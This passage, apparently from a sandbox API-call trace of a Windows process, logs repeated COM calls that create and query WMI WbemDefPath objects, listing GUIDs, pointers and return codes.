Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x539e73c | out: ppvObject=0x539e73c*=0x0) returned 0x80004002 [0272.673] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbce8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x539e6ec | out: ppvObject=0x539e6ec*=0x0) returned 0x80004002 [0272.673] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbce8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539e6f8 | out: ppvObject=0x539e6f8*=0x8a2ed8) returned 0x0 [0272.673] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x8a2ed8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x539e700 | out: pCid=0x539e700*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0272.673] WbemDefPath:IUnknown:Release (This=0x8a2ed8) returned 0x3 [0272.673] CoGetContextToken (in: pToken=0x539e758 | out: pToken=0x539e758) returned 0x0 [0272.673] CoGetContextToken (in: pToken=0x539eb6c | out: pToken=0x539eb6c) returned 0x0 [0272.673] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbce8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ebec | out: ppvObject=0x539ebec*=0x0) returned 0x80004002 [0272.673] WbemDefPath:IUnknown:Release (This=0x8bbce8) returned 0x2 [0272.673] WbemDefPath:IUnknown:Release (This=0x8bbce8) returned 0x1 [0272.673] SetEvent (hEvent=0x3ac) returned 1 [0272.681] CoGetClassObject (in: rclsid=0x871f24*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x539efe8 | out: ppv=0x539efe8*=0x8a2f18) returned 0x0 [0272.681] WbemDefPath:IUnknown:QueryInterface (in: This=0x8a2f18, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x539f200 | out: ppvObject=0x539f200*=0x0) returned 0x80004002 [0272.681] WbemDefPath:IClassFactory:CreateInstance (in: This=0x8a2f18, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539f20c | out: ppvObject=0x539f20c*=0x8bbd58) returned 0x0 [0272.681] WbemDefPath:IUnknown:Release (This=0x8a2f18) returned 0x0 [0272.682] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbd58, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ee2c | out: ppvObject=0x539ee2c*=0x8bbd58) returned 0x0 [0272.682] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbd58, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x539ede0 | out: ppvObject=0x539ede0*=0x0) returned 0x80004002 [0272.682] WbemDefPath:IUnknown:AddRef (This=0x8bbd58) returned 0x3 [0272.682] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbd58, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x539e73c | out: ppvObject=0x539e73c*=0x0) returned 0x80004002 [0272.682] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbd58, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x539e6ec | out: ppvObject=0x539e6ec*=0x0) returned 0x80004002 [0272.682] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbd58, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539e6f8 | out: ppvObject=0x539e6f8*=0x8a2f28) returned 0x0 [0272.682] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x8a2f28, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x539e700 | out: pCid=0x539e700*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0272.682] WbemDefPath:IUnknown:Release (This=0x8a2f28) returned 0x3 [0272.682] CoGetContextToken (in: pToken=0x539e758 | out: pToken=0x539e758) returned 0x0 [0272.682] CoGetContextToken (in: pToken=0x539eb6c | out: pToken=0x539eb6c) returned 0x0 [0272.682] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbd58, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ebec | out: ppvObject=0x539ebec*=0x0) returned 0x80004002 [0272.682] WbemDefPath:IUnknown:Release (This=0x8bbd58) returned 0x2 [0272.682] WbemDefPath:IUnknown:Release (This=0x8bbd58) returned 0x1 [0272.682] SetEvent (hEvent=0x3b0) returned 1 [0272.690] CoGetClassObject (in: rclsid=0x871f24*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x539efe8 | out: ppv=0x539efe8*=0x8a2f68) returned 0x0 [0272.691] WbemDefPath:IUnknown:QueryInterface (in: This=0x8a2f68, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x539f200 | out: ppvObject=0x539f200*=0x0) returned 0x80004002 [0272.691] WbemDefPath:IClassFactory:CreateInstance (in: This=0x8a2f68, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539f20c | out: ppvObject=0x539f20c*=0x8bbdc8) returned 0x0 [0272.691] WbemDefPath:IUnknown:Release (This=0x8a2f68) returned 0x0 [0272.691] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbdc8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ee2c | out: ppvObject=0x539ee2c*=0x8bbdc8) returned 0x0 [0272.691] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbdc8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x539ede0 | out: ppvObject=0x539ede0*=0x0) returned 0x80004002 [0272.691] WbemDefPath:IUnknown:AddRef (This=0x8bbdc8) returned 0x3 [0272.691] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbdc8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x539e73c | out: ppvObject=0x539e73c*=0x0) returned 0x80004002 [0272.691] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbdc8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x539e6ec | out: ppvObject=0x539e6ec*=0x0) returned 0x80004002 [0272.691] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbdc8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539e6f8 | out: ppvObject=0x539e6f8*=0x8a2f78) returned 0x0 [0272.691] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x8a2f78, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x539e700 | out: pCid=0x539e700*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0272.691] WbemDefPath:IUnknown:Release (This=0x8a2f78) returned 0x3 [0272.691] CoGetContextToken (in: pToken=0x539e758 | out: pToken=0x539e758) returned 0x0 [0272.691] CoGetContextToken (in: pToken=0x539eb6c | out: pToken=0x539eb6c) returned 0x0 [0272.691] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbdc8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ebec | out: ppvObject=0x539ebec*=0x0) returned 0x80004002 [0272.691] WbemDefPath:IUnknown:Release (This=0x8bbdc8) returned 0x2 [0272.691] WbemDefPath:IUnknown:Release (This=0x8bbdc8) returned 0x1 [0272.691] SetEvent (hEvent=0x3b4) returned 1 [0272.715] CoGetClassObject (in: rclsid=0x871f24*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x539efe8 | out: ppv=0x539efe8*=0x8a2fb8) returned 0x0 [0272.716] WbemDefPath:IUnknown:QueryInterface (in: This=0x8a2fb8, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x539f200 | out: ppvObject=0x539f200*=0x0) returned 0x80004002 [0272.716] WbemDefPath:IClassFactory:CreateInstance (in: This=0x8a2fb8, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539f20c | out: ppvObject=0x539f20c*=0x8bbe38) returned 0x0 [0272.716] WbemDefPath:IUnknown:Release (This=0x8a2fb8) returned 0x0 [0272.716] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbe38, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ee2c | out: ppvObject=0x539ee2c*=0x8bbe38) returned 0x0 [0272.716] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbe38, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x539ede0 | out: ppvObject=0x539ede0*=0x0) returned 0x80004002 [0272.716] WbemDefPath:IUnknown:AddRef (This=0x8bbe38) returned 0x3 [0272.716] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbe38, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x539e73c | out: ppvObject=0x539e73c*=0x0) returned 0x80004002 [0272.716] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbe38, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x539e6ec | out: ppvObject=0x539e6ec*=0x0) returned 0x80004002 [0272.716] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbe38, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539e6f8 | out: ppvObject=0x539e6f8*=0x8a2fc8) returned 0x0 [0272.716] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x8a2fc8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x539e700 | out: pCid=0x539e700*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0272.716] WbemDefPath:IUnknown:Release (This=0x8a2fc8) returned 0x3 [0272.716] CoGetContextToken (in: pToken=0x539e758 | out: pToken=0x539e758) returned 0x0 [0272.716] CoGetContextToken (in: pToken=0x539eb6c | out: pToken=0x539eb6c) returned 0x0 [0272.716] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbe38, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ebec | out: ppvObject=0x539ebec*=0x0) returned 0x80004002 [0272.717] WbemDefPath:IUnknown:Release (This=0x8bbe38) returned 0x2 [0272.717] WbemDefPath:IUnknown:Release (This=0x8bbe38) returned 0x1 [0272.717] SetEvent (hEvent=0x3b8) returned 1 [0272.774] CoGetClassObject (in: rclsid=0x871f24*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x539efe8 | out: ppv=0x539efe8*=0x8a3008) returned 0x0 [0272.775] WbemDefPath:IUnknown:QueryInterface (in: This=0x8a3008, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x539f200 | out: ppvObject=0x539f200*=0x0) returned 0x80004002 [0272.775] WbemDefPath:IClassFactory:CreateInstance (in: This=0x8a3008, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539f20c | out: ppvObject=0x539f20c*=0x8bbea8) returned 0x0 [0272.775] WbemDefPath:IUnknown:Release (This=0x8a3008) returned 0x0 [0272.775] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbea8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ee2c | out: ppvObject=0x539ee2c*=0x8bbea8) returned 0x0 [0272.775] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbea8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x539ede0 | out: ppvObject=0x539ede0*=0x0) returned 0x80004002 [0272.775] WbemDefPath:IUnknown:AddRef (This=0x8bbea8) returned 0x3 [0272.775] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbea8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x539e73c | out: ppvObject=0x539e73c*=0x0) returned 0x80004002 [0272.775] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbea8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x539e6ec | out: ppvObject=0x539e6ec*=0x0) returned 0x80004002 [0272.775] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbea8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539e6f8 | out: ppvObject=0x539e6f8*=0x8a3018) returned 0x0 [0272.775] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x8a3018, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x539e700 | out: pCid=0x539e700*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0272.775] WbemDefPath:IUnknown:Release (This=0x8a3018) returned 0x3 [0272.775] CoGetContextToken (in: pToken=0x539e758 | out: pToken=0x539e758) returned 0x0 [0272.775] CoGetContextToken (in: pToken=0x539eb6c | out: pToken=0x539eb6c) returned 0x0 [0272.775] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbea8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ebec | out: ppvObject=0x539ebec*=0x0) returned 0x80004002 [0272.775] WbemDefPath:IUnknown:Release (This=0x8bbea8) returned 0x2 [0272.775] WbemDefPath:IUnknown:Release (This=0x8bbea8) returned 0x1 [0272.775] SetEvent (hEvent=0x3bc) returned 1 [0272.811] CoGetClassObject (in: rclsid=0x871f24*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x539efe8 | out: ppv=0x539efe8*=0x8c0660) returned 0x0 [0272.812] WbemDefPath:IUnknown:QueryInterface (in: This=0x8c0660, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x539f200 | out: ppvObject=0x539f200*=0x0) returned 0x80004002 [0272.812] WbemDefPath:IClassFactory:CreateInstance (in: This=0x8c0660, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539f20c | out: ppvObject=0x539f20c*=0x8bbf18) returned 0x0 [0272.812] WbemDefPath:IUnknown:Release (This=0x8c0660) returned 0x0 [0272.812] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbf18, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ee2c | out: ppvObject=0x539ee2c*=0x8bbf18) returned 0x0 [0272.812] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbf18, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x539ede0 | out: ppvObject=0x539ede0*=0x0) returned 0x80004002 [0272.812] WbemDefPath:IUnknown:AddRef (This=0x8bbf18) returned 0x3 [0272.812] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbf18, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x539e73c | out: ppvObject=0x539e73c*=0x0) returned 0x80004002 [0272.812] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbf18, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x539e6ec | out: ppvObject=0x539e6ec*=0x0) returned 0x80004002 [0272.812] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbf18, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539e6f8 | out: ppvObject=0x539e6f8*=0x8c0670) returned 0x0 [0272.812] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x8c0670, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x539e700 | out: pCid=0x539e700*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0272.812] WbemDefPath:IUnknown:Release (This=0x8c0670) returned 0x3 [0272.812] CoGetContextToken (in: pToken=0x539e758 | out: pToken=0x539e758) returned 0x0 [0272.812] CoGetContextToken (in: pToken=0x539eb6c | out: pToken=0x539eb6c) returned 0x0 [0272.812] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbf18, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ebec | out: ppvObject=0x539ebec*=0x0) returned 0x80004002 [0272.812] WbemDefPath:IUnknown:Release (This=0x8bbf18) returned 0x2 [0272.812] WbemDefPath:IUnknown:Release (This=0x8bbf18) returned 0x1 [0272.812] SetEvent (hEvent=0x3c0) returned 1 [0272.825] CoGetClassObject (in: rclsid=0x871f24*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x539efe8 | out: ppv=0x539efe8*=0x8c06b0) returned 0x0 [0272.825] WbemDefPath:IUnknown:QueryInterface (in: This=0x8c06b0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x539f200 | out: ppvObject=0x539f200*=0x0) returned 0x80004002 [0272.825] WbemDefPath:IClassFactory:CreateInstance (in: This=0x8c06b0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539f20c | out: ppvObject=0x539f20c*=0x8bbf88) returned 0x0 [0272.825] WbemDefPath:IUnknown:Release (This=0x8c06b0) returned 0x0 [0272.825] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbf88, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ee2c | out: ppvObject=0x539ee2c*=0x8bbf88) returned 0x0 [0272.825] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbf88, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x539ede0 | out: ppvObject=0x539ede0*=0x0) returned 